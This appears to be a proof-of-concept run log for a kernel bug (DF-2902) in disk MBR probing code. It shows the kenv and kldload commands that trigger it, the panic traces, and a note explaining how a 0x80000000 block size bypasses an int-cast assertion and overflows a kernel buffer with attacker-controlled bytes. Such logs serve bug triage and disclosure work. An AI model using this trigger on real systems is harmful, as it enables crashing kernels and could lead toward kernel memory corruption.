DF-2902 PoC runs — stock INVARIANTS kernel #0 (before fix)
=========================================================

LEG A: kenv mbrprobe.blksize=262144; kldload mbrprobe_a.ko
----------------------------------------------------------
mbrprobe: dev=vn0 blksize=0x40000 blocks=64 media_size=16777216
panic: assertion "(int)info->d_media_blksize <= bp->b_bufsize" failed in mbrinit at /usr/src/sys/kern/subr_diskmbr.c:128
cpuid = 0
Trace beginning at frame 0xfffff80117fa36a8
mbrinit() at mbrinit+0x4fa 0xffffffff80b971da
mbrinit() at mbrinit+0x4fa 0xffffffff80b971da
mbrprobe_modevent() at mbrprobe_modevent+0xd2 0xffffffff826010d2
module_register_init() at module_register_init+0x49 0xffffffff806232e9
linker_load_file.part.3() at linker_load_file.part.3+0x1b9 0xffffffff80624619
linker_load_module() at linker_load_module+0x116 0xffffffff80625e16
Debugger("panic")

CPU0 stopping CPUs: 0x0000003e
 stopped
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>

LEG B: kenv mbrprobe.blksize=2147483648; kldload mbrprobe_b.ko
--------------------------------------------------------------
mbrprobe: dev=vn0 blksize=0x80000000 blocks=64 media_size=137438953472
panic: assertion "obj != NULL" failed in vm_object_hold_shared at /usr/src/sys/vm/vm_object.c:330
cpuid = 3
Trace beginning at frame 0xfffff8011836afe8
vm_object_hold_shared() at vm_object_hold_shared+0x3f 0xffffffff809ab9bf
vm_fault() at vm_fault+0x408 0xffffffff8099e0b8
trap_pfault() at trap_pfault+0x9a 0xffffffff80bd52ca
trap() at trap+0x17c 0xffffffff80bd5bcc
calltrap() at calltrap+0x9a 0xffffffff80b991fa
--- trap 000000000000000c, rip = ffffffff80bcaa0a, rsp = fffff8011836b400, rbp = fffff8011836b468 ---
memmove() at memmove+0x10a 0xffffffff80bcaa0a
Debugger("panic")

CPU3 stopping CPUs: 0x00000037
 stopped
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>

=> LEG B is the (int)-cast assertion BYPASS: the 0x80000000 block size passed
   subr_diskmbr.c:128, was programmed into bp->b_bcount, and the resulting
   2 GiB copy into the 128 KB pbuf ran off the mapped buffer — kernel-mode
   write page fault (trap 0xc) inside memmove. Overflow content is the
   attacker-supplied media bytes (vn backing-file data).